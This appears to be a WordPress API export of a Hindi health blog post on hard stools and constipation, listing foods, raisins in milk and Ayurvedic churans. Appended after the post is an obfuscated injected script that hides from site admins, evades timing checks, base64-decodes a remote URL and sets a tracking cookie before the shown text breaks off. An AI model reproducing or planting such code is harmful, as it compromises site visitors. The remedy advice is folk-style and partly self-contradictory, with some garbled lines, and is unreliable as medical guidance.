{"id":9060,"date":"2023-10-01T18:05:38","date_gmt":"2023-10-01T18:05:38","guid":{"rendered":"https:\/\/www.healthsrainbow.com\/blog\/?p=9060"},"modified":"2025-10-24T21:11:03","modified_gmt":"2025-10-24T21:11:03","slug":"%e0%a4%95%e0%a5%8d%e0%a4%af%e0%a4%be-%e0%a4%96%e0%a4%be%e0%a4%a8%e0%a5%87-%e0%a4%b8%e0%a5%87-%e0%a4%ae%e0%a4%b2-%e0%a4%b8%e0%a4%96%e0%a5%8d%e0%a4%a4-%e0%a4%b9%e0%a5%8b%e0%a4%a4%e0%a4%be-%e0%a4%b9","status":"publish","type":"post","link":"https:\/\/www.healthsrainbow.com\/blog\/2023\/10\/01\/%e0%a4%95%e0%a5%8d%e0%a4%af%e0%a4%be-%e0%a4%96%e0%a4%be%e0%a4%a8%e0%a5%87-%e0%a4%b8%e0%a5%87-%e0%a4%ae%e0%a4%b2-%e0%a4%b8%e0%a4%96%e0%a5%8d%e0%a4%a4-%e0%a4%b9%e0%a5%8b%e0%a4%a4%e0%a4%be-%e0%a4%b9\/","title":{"rendered":"Diet and Hard Stools: The Fiber Connection"},"content":{"rendered":"<h1><\/h1>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-9216\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/hard-stool-1-300x163.jpg\" alt=\"hard stool\" width=\"751\" height=\"408\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/hard-stool-1-300x163.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/hard-stool-1.jpg 629w\" sizes=\"(max-width: 751px) 100vw, 751px\" \/><\/p>\n<ul>\n<li>\u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u092a\u093e\u0928\u0940 \u0915\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u0915\u092e \u0939\u094b\u0928\u0947 \u0938\u0947 \u0906\u092a\u0915\u093e \u092e\u0932 \u0915\u0920\u094b\u0930 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u091c\u094d\u092f\u093e\u0926\u093e \u0938\u0947 \u091c\u094d\u092f\u093e\u0926\u093e \u0905\u092a\u0928\u0947 \u0936\u0930\u0940\u0930 \u0915\u094b \u0939\u093e\u0907\u0921\u094d\u0930\u0947\u091f \u0930\u0916\u0928\u0947 \u0915\u0940 \u0915\u094b\u0936\u093f\u0936 \u0915\u0930\u0947\u0902\u0964 \u0926\u093f\u0928 \u092d\u0930 \u092e\u0947\u0902 \u092d\u0930\u092a\u0942\u0930 \u092a\u093e\u0928\u0940 \u092a\u0940\u0928\u0947 \u0938\u0947 \u0906\u092a\u0915\u093e \u092e\u0932 \u0928\u0930\u092e \u0930\u0939\u0924\u093e \u0939\u0948 \u0914\u0930 \u0906\u0938\u093e\u0928\u0940 \u0938\u0947 \u0928\u093f\u0915\u0932 \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>\u0915\u094d\u092f\u093e \u0916\u093e\u0928\u0947 \u0938\u0947 \u092e\u0932 \u0938\u0916\u094d\u0924 \u0939\u094b\u0924\u093e \u0939\u0948?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9219\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/hard-stool-khane-se-300x178.jpg\" alt=\"hard stool khane se\" width=\"300\" height=\"178\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/hard-stool-khane-se-300x178.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/hard-stool-khane-se.jpg 750w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u092b\u0932 \u0914\u0930 \u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902 \u0916\u093e\u090f\u0902:\u092b\u0932 \u0914\u0930 \u0938\u092c\u094d\u091c\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u092b\u093e\u0907\u092c\u0930 \u092d\u0930\u092a\u0942\u0930 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u092e\u093f\u0932\u0924\u093e \u0939\u0948.\u00a0\u092b\u093e\u0907\u092c\u0930 \u0935\u093e\u0932\u0940 \u091a\u0940\u091c\u0947\u0902 \u0916\u093e\u0928\u0947 \u0938\u0947 \u092e\u0932 \u0915\u0920\u094b\u0930 \u092f\u093e \u0938\u0916\u094d\u0924 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u093e \u0939\u0948 \u091c\u093f\u0938\u0938\u0947 \u0936\u094c\u091a \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092e\u0932 \u0906\u0938\u093e\u0928\u0940 \u0938\u0947 \u092c\u093e\u0939\u0930 \u0928\u093f\u0915\u0932 \u091c\u093e\u0924\u093e \u0939\u0948. \u0907\u0938\u0932\u093f\u090f \u0938\u092d\u0940 \u092e\u094c\u0938\u092e\u0940 \u092b\u0932 \u0914\u0930 \u0939\u0930\u0940 \u092a\u0924\u094d\u0924\u0947\u0926\u093e\u0930 \u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902 \u0916\u0942\u092c \u0916\u093e\u090f\u0902<\/li>\n<li>\u0926\u0942\u0927 \u092e\u0947\u0902 \u092e\u094c\u091c\u0942\u0926 \u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u092e\u0932 \u0915\u094b \u0938\u0916\u094d\u0924 \u0915\u0930 \u0926\u0947\u0924\u093e \u0939\u0948. \u0905\u0917\u0930 \u0906\u092a \u0915\u092c\u094d\u091c \u0938\u0947 \u092a\u0940\u0921\u093c\u093f\u0924 \u0939\u0948\u0902 \u0924\u094b \u0926\u0942\u0927 \u092f\u093e \u0926\u0942\u0927 \u0938\u0947 \u092c\u0928\u0940 \u091a\u0940\u091c\u0947\u0902 \u0916\u093e\u0928\u0947 \u0938\u0947 \u092c\u091a\u0928\u093e \u091a\u093e\u0939\u093f\u090f. \u0926\u0942\u0927 \u0915\u092c\u094d\u091c \u0915\u094b \u092c\u0922\u093c\u093e \u0938\u0915\u0924\u093e \u0939\u0948. \u091c\u094d\u092f\u093e\u0926\u093e \u092b\u0948\u091f\u0940 \u091a\u0940\u091c\u094b\u0902 \u0915\u094b \u092a\u091a\u093e\u0928\u093e \u092e\u0941\u0936\u094d\u0915\u093f\u0932 \u0939\u094b\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>\u0915\u094d\u092f\u093e \u0916\u093e\u0928\u0947 \u0938\u0947 \u092e\u0932 \u0928\u093e\u0930\u094d\u092e\u0932 \u0939\u094b\u0924\u093e \u0939\u0948?<\/strong><\/h2>\n<p><strong>\u00a0<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9217\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/kya-khane-se-mal-normal-300x169.jpg\" alt=\"kya khane se mal normal\" width=\"300\" height=\"169\" \/><\/strong><\/p>\n<ul>\n<li>\u0930\u094b\u091c\u093e\u0928\u093e \u090f\u0915 \u0938\u0947\u092c \u0916\u093e\u0928\u0947 \u0938\u0947 \u0906\u092a\u0915\u094b \u0915\u092c\u094d\u091c \u0938\u0947 \u0930\u093e\u0939\u0924 \u092e\u093f\u0932 \u0938\u0915\u0924\u0940 \u0939\u0948 \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u0938\u0947\u092c \u0914\u0930 \u0916\u093e\u0938\u0924\u094c\u0930 \u092a\u0930 \u0907\u0938\u0915\u0947 \u091b\u093f\u0932\u0915\u0947 \u092e\u0947\u0902 \u092c\u0939\u0941\u0924 \u091c\u094d\u092f\u093e\u0926\u093e \u092b\u093e\u0907\u092c\u0930 \u0939\u094b\u0924\u093e \u0939\u0948.<\/li>\n<li>\u0938\u0947\u092c \u0915\u093e \u091b\u093f\u0932\u0915\u093e \u0918\u0941\u0932\u0928\u0936\u0940\u0932 \u0914\u0930 \u0905\u0918\u0941\u0932\u0928\u0936\u0940\u0932 \u092b\u093e\u0907\u092c\u0930 \u0926\u094b\u0928\u094b\u0902 \u0905\u091a\u094d\u091b\u093e \u0938\u094d\u0930\u094b\u0924 \u0939\u0948\u0902 \u091c\u094b \u0906\u092a\u0915\u0947 \u092e\u0932 \u0915\u094b \u0928\u0930\u092e \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u0938\u0939\u093e\u092f\u0924\u093e \u0915\u0930\u0924\u093e \u0939\u0948 \u091c\u093f\u0938\u0938\u0947 \u092e\u0932 \u092a\u093e\u0938 \u0915\u0930\u0928\u093e \u0906\u0938\u093e\u0928 \u0939\u094b \u091c\u093e\u0924\u093e \u0939\u0948. \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e \u0938\u0947\u092c \u0906\u092a\u0915\u0947 \u0938\u0902\u092a\u0942\u0930\u094d\u0923 \u0938\u094d\u0935\u093e\u0938\u094d\u0925\u094d\u092f \u0915\u0947 \u0932\u093f\u090f \u092d\u0940 \u092c\u0939\u0941\u0924 \u0905\u091a\u094d\u091b\u093e \u0939\u0948<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>\u092e\u0948\u0902<\/strong> <strong>\u0905\u092a\u0928\u0947<\/strong> <strong>\u092e\u0932<\/strong> <strong>\u0915\u094b<\/strong> <strong>\u0938\u094d\u0935\u0938\u094d\u0925<\/strong> <strong>\u0915\u0948\u0938\u0947<\/strong> <strong>\u092c\u0928\u093e<\/strong> <strong>\u0938\u0915\u0924\u093e<\/strong> <strong>\u0939\u0942\u0902<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9220\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/how-to-health-hard-stool-300x178.png\" alt=\"how to health hard stool\" width=\"300\" height=\"178\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/how-to-health-hard-stool-300x178.png 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/how-to-health-hard-stool.png 750w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0918\u0941\u0932\u0928\u0936\u0940\u0932 \u092b\u093e\u0907\u092c\u0930 \u0938\u0947 \u092d\u0930\u092a\u0942\u0930 \u092d\u094b\u091c\u0928 (\u092a\u093e\u0938\u094d\u0924\u093e, \u091a\u093e\u0935\u0932, \u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0901 \u0914\u0930 \u092b\u0932) \u0916\u093e\u090f\u0901\u0964<\/li>\n<li>\u0905\u0918\u0941\u0932\u0928\u0936\u0940\u0932 \u092b\u093e\u0907\u092c\u0930 (\u091a\u094b\u0915\u0930 \u0914\u0930 \u092e\u0942\u0938\u0932\u0940) \u0938\u0947 \u092d\u0930\u092a\u0942\u0930 \u0916\u093e\u0926\u094d\u092f \u092a\u0926\u093e\u0930\u094d\u0925\u094b\u0902 \u0915\u094b \u0938\u0940\u092e\u093f\u0924 \u0915\u0930\u0947\u0902\u0964 \u092c\u0939\u0941\u0924 \u0905\u0927\u093f\u0915 \u092e\u0932 \u0906\u092a\u0915\u0947 \u092e\u0932 \u0915\u094b \u092c\u093e\u0939\u0930 \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u093e \u0939\u0948 \u0914\u0930 \u0909\u0938\u0947 \u0915\u0920\u094b\u0930 \u092c\u0928\u093e \u0938\u0915\u0924\u093e \u0939\u0948 \u0924\u0925\u093e \u0909\u0938\u0947 \u0924\u094d\u092f\u093e\u0917\u0928\u0947 \u092e\u0947\u0902 \u0915\u0920\u093f\u0928\u093e\u0908 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ul>\n<h2><strong>\u00a0<\/strong><\/h2>\n<h2><strong>\u0930\u093e\u0924<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0910\u0938\u093e<\/strong> <strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0916\u093e\u090f\u0902<\/strong> <strong>\u0915\u093f<\/strong> <strong>\u0938\u0941\u092c\u0939<\/strong> <strong>\u092a\u0947\u091f<\/strong> <strong>\u0938\u093e\u092b<\/strong> <strong>\u0939\u094b<\/strong> <strong>\u091c\u093e\u090f<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9218\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/kya-khaye-paet-saaf-ho-jaye-300x166.jpg\" alt=\"kya khaye paet saaf ho jaye\" width=\"300\" height=\"166\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/kya-khaye-paet-saaf-ho-jaye-300x166.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/kya-khaye-paet-saaf-ho-jaye.jpg 726w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0930\u093e\u0924 \u0915\u094b \u0917\u0930\u094d\u092e \u0926\u0942\u0927 \u092e\u0947\u0902 \u0915\u093f\u0936\u092e\u093f\u0936 \u0909\u092c\u093e\u0932\u0915\u0930 \u0916\u093e\u0928\u0947 \u0938\u0947 \u0938\u0941\u092c\u0939 \u0909\u0920\u0924\u0947 \u0939\u0940 \u092a\u0947\u091f \u0938\u093e\u092b \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u0906\u092a\u0915\u094b \u092e\u0926\u0926 \u092e\u093f\u0932\u0947\u0917\u0940\u0964 \u0930\u093e\u0924 \u0915\u094b \u0938\u094b\u0928\u0947 \u0938\u0947 \u092a\u0939\u0932\u0947 \u0926\u0942\u0927 \u092e\u0947\u0902 \u0915\u092e \u0938\u0947 \u0915\u092e 8 \u0938\u0947 10 \u0915\u093f\u0936\u092e\u093f\u0936 \u0909\u092c\u093e\u0932 \u0932\u0947\u0902 \u0914\u0930 \u092b\u093f\u0930 \u0926\u0942\u0927 \u0915\u0947 \u0938\u093e\u0925 \u0907\u0938\u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0947\u0902\u0964<\/li>\n<li>\u0926\u0942\u0927 \u0915\u094b \u0909\u092c\u0932\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926 \u092d\u0940 \u0915\u093f\u0936\u092e\u093f\u0936 \u0915\u094b \u0921\u093e\u0932\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948, \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u0909\u092c\u0932\u0924\u0947 \u0938\u092e\u092f \u0915\u093f\u0936\u092e\u093f\u0936 \u0921\u093e\u0932\u0928\u0947 \u0938\u0947 \u0926\u0942\u0927 \u092b\u091f \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n<h2><strong>\u00a0<\/strong><\/h2>\n<h2><strong>\u0915\u094c\u0928<\/strong> <strong>\u0938\u0940<\/strong> <strong>\u0938\u092c\u094d\u091c\u0940<\/strong> <strong>\u0916\u093e\u0928\u0947<\/strong> <strong>\u0938\u0947<\/strong> <strong>\u092a\u0947\u091f<\/strong> <strong>\u0938\u093e\u092b<\/strong> <strong>\u0939\u094b\u0924\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9221\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/kaun-si-sbji-khane-se-paet-saaf-300x178.jpg\" alt=\"kaun si sbji khane se paet saaf\" width=\"300\" height=\"178\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/kaun-si-sbji-khane-se-paet-saaf-300x178.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/kaun-si-sbji-khane-se-paet-saaf.jpg 750w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0915\u092c\u094d\u091c \u0915\u094b \u0926\u0942\u0930 \u0915\u0930\u0928\u0947 \u0935\u093e\u0932\u0940 8 \u0915\u091a\u094d\u091a\u0940\u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902Diet for constipation:\u00a0\u0938\u092c\u094d\u091c\u093f\u092f\u094b\u0902\u00a0\u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0915\u092c\u094d\u091c \u0915\u094b \u0926\u0942\u0930 \u0915\u093f\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0915\u092c\u094d\u091c \u0926\u0942\u0930 \u0915\u0930\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0916\u093e\u090f\u0902\u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902<\/li>\n<li>\u091a\u0941\u0915\u0902\u0926\u0930<\/li>\n<li>\u0916\u0940\u0930\u093e<\/li>\n<li>\u0915\u0915\u0921\u093c\u0940<\/li>\n<li>\u092e\u0942\u0932\u0940<\/li>\n<li>\u0917\u093e\u091c\u0930<\/li>\n<li>\u092a\u094d\u092f\u093e\u091c<\/li>\n<\/ul>\n<h2><strong>\u092e\u0932 \u0938\u0916\u094d\u0924 <\/strong><strong>\u0915\u093e<\/strong> <strong>\u092a\u0930\u092e\u093e\u0928\u0947\u0902\u091f<\/strong> <strong>\u0907\u0932\u093e\u091c<\/strong> <strong>\u0915\u094d\u092f\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9223\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/treat-permanent-300x194.jpg\" alt=\"treat permanent\" width=\"300\" height=\"194\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/treat-permanent-300x194.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/treat-permanent.jpg 440w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u092e\u0947\u0925\u0940\u0926\u093e\u0928\u093e \u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0947\u0902<\/li>\n<li>\u0930\u093e\u0924 \u0915\u094b \u0938\u094b\u0928\u0947 \u0938\u0947 \u092a\u0939\u0932\u0947 \u0921\u093f\u0928\u0930 \u0915\u0947 \u0926\u094b \u0918\u0902\u091f\u0947 \u092c\u093e\u0926 \u090f\u0915 \u0917\u093f\u0932\u093e\u0938 \u0926\u0942\u0927 \u092a\u093f\u090f\u0902<\/li>\n<li>\u0908\u0938\u092c\u0917\u094b\u0932 \u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0947\u0902<\/li>\n<li>\u0930\u093e\u0924 \u0915\u094b \u092d\u094b\u091c\u0928 \u0915\u0930\u0928\u0947 \u0915\u0947 1 \u0918\u0902\u091f\u093e \u092c\u093e\u0926 \u092f\u093e \u0938\u094b\u0928\u0947 \u0938\u0947 \u092a\u0939\u0932\u0947 \u0917\u0941\u0928\u0917\u0941\u0928\u0947 \u092a\u093e\u0928\u0940 \u0938\u0947 \u090f\u0915 \u091a\u092e\u094d\u092e\u091a \u0924\u094d\u0930\u093f\u092b\u0932\u093e \u091a\u0942\u0930\u094d\u0923 \u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0947\u0902<\/li>\n<li>\u0938\u0941\u092c\u0939 \u0938\u0935\u0947\u0930\u0947 \u0909\u0920\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926 \u0916\u093e\u0932\u0940 \u092a\u0947\u091f \u090f\u0915 \u0917\u093f\u0932\u093e\u0938 \u0917\u0941\u0928\u0917\u0941\u0928\u0947 \u092a\u093e\u0928\u0940 \u092e\u0947\u0902 \u0915\u093e\u0932\u093e \u0928\u092e\u0915 \u0914\u0930 \u0928\u0940\u0902\u092c\u0942 \u0915\u093e \u0930\u0938 \u092e\u093f\u0932\u093e\u0915\u0930 \u0907\u0938\u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0947\u0902<\/li>\n<\/ul>\n<h2><strong>\u092a\u0947\u091f<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0932\u093f\u090f<\/strong> <strong>\u0938\u092c\u0938\u0947<\/strong> <strong>\u0905\u091a\u094d\u091b\u093e<\/strong> <strong>\u091a\u0942\u0930\u094d\u0923<\/strong> <strong>\u0915\u094c\u0928<\/strong> <strong>\u0938\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9224\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/best-churan-hard-stool-300x172.jpg\" alt=\"best churan hard stool\" width=\"300\" height=\"172\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/best-churan-hard-stool-300x172.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/best-churan-hard-stool.jpg 636w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0924\u094d\u0930\u093f\u092b\u0932\u093e\u091a\u0942\u0930\u094d\u0923\u092a\u0947\u091f\u00a0\u0915\u0940 \u0917\u0948\u0938 \u0915\u0947\u00a0\u0932\u093f\u090f\u00a0\u0924\u094d\u0930\u093f\u092b\u0932\u093e\u00a0\u091a\u0942\u0930\u094d\u0923\u00a0\u090f\u0915 \u0930\u093e\u092e\u092c\u093e\u0923 \u0909\u092a\u093e\u092f \u0939\u0948\u0964<\/li>\n<li>\u0939\u0940\u0902\u0917, \u0915\u093e\u0932\u0940 \u092e\u093f\u0930\u094d\u091a \u0914\u0930 \u0905\u091c\u0935\u093e\u0907\u0928 \u0915\u093e\u091a\u0942\u0930\u094d\u0923\u092f\u0947 \u0924\u0940\u0928\u094b\u0902 \u0939\u0940 \u0938\u093e\u0917\u094d\u0930\u093f\u092f\u093e\u0902 \u092a\u091f\u0947 \u0915\u0947\u00a0\u0932\u093f\u090f\u00a0\u092c\u0939\u0941\u0924 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u092e\u093e\u0928\u0940 \u091c\u093e\u0924\u0940 \u0939\u0948\u0902\u0964<\/li>\n<li>\u091c\u0940\u0930\u093e, \u0927\u0928\u093f\u092f\u093e \u0914\u0930 \u0938\u094c\u0902\u0920 \u0915\u093e\u091a\u0942\u0930\u094d\u0923<\/li>\n<li>\u092e\u0941\u0932\u0947\u0920\u0940\u091a\u0942\u0930\u094d\u0923<\/li>\n<li>\u092d\u0941\u0928\u0940 \u0939\u0941\u0908 \u0938\u094c\u0902\u092b \u0915\u093e\u091a\u0942\u0930\u094d\u0923<\/li>\n<\/ul>\n<p><strong>For more information Visit us :<\/strong><\/p>\n<p>Website: <a href=\"https:\/\/www.youtube.com\/redirect?event=video_description&amp;redir_token=QUFFLUhqa2VQQWdHYURCNlk3SkVlUTFCSmh4UmlPNXlRd3xBQ3Jtc0ttaXE0b0t1ckw2SGFuQm41dDBqajRMLXk4UTRHeGNPRjM0azBjQW1WYmZuZ1Y1VVZNVXVDbHpSSWJfVnVJN3Y2QkVDQU9WNG5HbF81a2E0X2RSc1VfR3dUR2Y5cEFFRnltVTBNU3JGTnpQeE5iOWd5OA&amp;q=http%3A%2F%2Fwww.healthsrainbow.com%2F&amp;v=wPm8FUPYWn4\">http:\/\/www.healthsrainbow.com\/<\/a><\/p>\n<p>Website Blog: <a href=\"https:\/\/www.healthsrainbow.com\/blog\/\">https:\/\/www.healthsrainbow.com\/blog\/<\/a><\/p>\n<p>Subscriber: <a href=\"https:\/\/www.youtube.com\/@healthsrainbow4897\">https:\/\/www.youtube.com\/@healthsrainbow4897<\/a><\/p>\n<p>Facebook Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100087738795787\">https:\/\/www.facebook.com\/profile.php?id=100087738795787<\/a><\/p>\n<p>Facebook Main Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100072657459686\">https:\/\/www.facebook.com\/profile.php?id=100072657459686<\/a><\/p>\n<p>Instagram: <a href=\"https:\/\/www.instagram.com\/healthsrainbow\/\">https:\/\/www.instagram.com\/healthsrainbow\/<\/a><\/p>\n<p>Twitter: <a href=\"https:\/\/twitter.com\/healths_rainbow\">https:\/\/twitter.com\/healths_rainbow<\/a><\/p>\n<p><strong>RELATED VIDEO :\u00a0<\/strong><\/p>\n<ol>\n<li>Urine bed smell solution\u00a0:\u00a0\u00a0<a href=\"https:\/\/youtu.be\/dYYVJBkzvlM\">https:\/\/youtu.be\/dYYVJBkzvlM<\/a><\/li>\n<li class=\"title style-scope ytd-video-primary-info-renderer\">Pus Cells in urine\u00a0:\u00a0\u00a0<a href=\"https:\/\/youtu.be\/Y9GogreQu4w\">https:\/\/youtu.be\/Y9GogreQu4w<\/a><\/li>\n<li>Pain while urinating\u00a0 :\u00a0\u00a0<a href=\"https:\/\/youtu.be\/Y9GogreQu4w\">https:\/\/youtu.be\/Y9GogreQu4w<\/a><\/li>\n<\/ol>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>RELATED ARTICLE\u00a0<\/strong><\/p>\n<ol>\n<li>white particles in your urine\u00a0:\u00a0<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/07\/14\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/07\/14\/<\/a><\/li>\n<li>vaginal odor\u00a0:\u00a0<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/21\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/21\/<\/a><\/li>\n<li>prevent UTI\u00a0 :\u00a0\u00a0<a href=\"https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/18\/\">https:\/\/www.healthsrainbow.com\/blog\/2022\/04\/18\/<\/a><\/li>\n<\/ol>\n<p><strong>VISIT OUR WEBSITE :<\/strong><\/p>\n<ol>\n<li><a href=\"https:\/\/www.healthsrainbow.com\/\">https:\/\/www.healthsrainbow.com\/<\/a><\/li>\n<li><a href=\"https:\/\/www.healthyvedics.com\/\">https:\/\/www.healthyvedics.com\/<\/a><\/li>\n<\/ol>\n<h3><\/h3>\n<h3>\u00a0<strong>This video Covers the inform<\/strong><strong>ation about:<\/strong><\/h3>\n<p><span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Does eating make stool hard?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Does eating normalize stool?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Why does stool become hard?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Which foods harden stool?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What to eat to soften stool?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What to eat at night so that the stomach becomes clean in the morning?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">How can I make my stool healthy?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Eating which vegetable helps in cleansing the stomach?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">What is the permanent treatment for constipation?<\/span><\/span> <span class=\"jCAhz ChMk0b\"><span class=\"ryNqvb\">Which is the best powder for stomach?<\/span><\/span><\/p>\n<p><strong>\u00a0 PUBLISHED BY HEALTHS RAINBOW<\/strong><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var 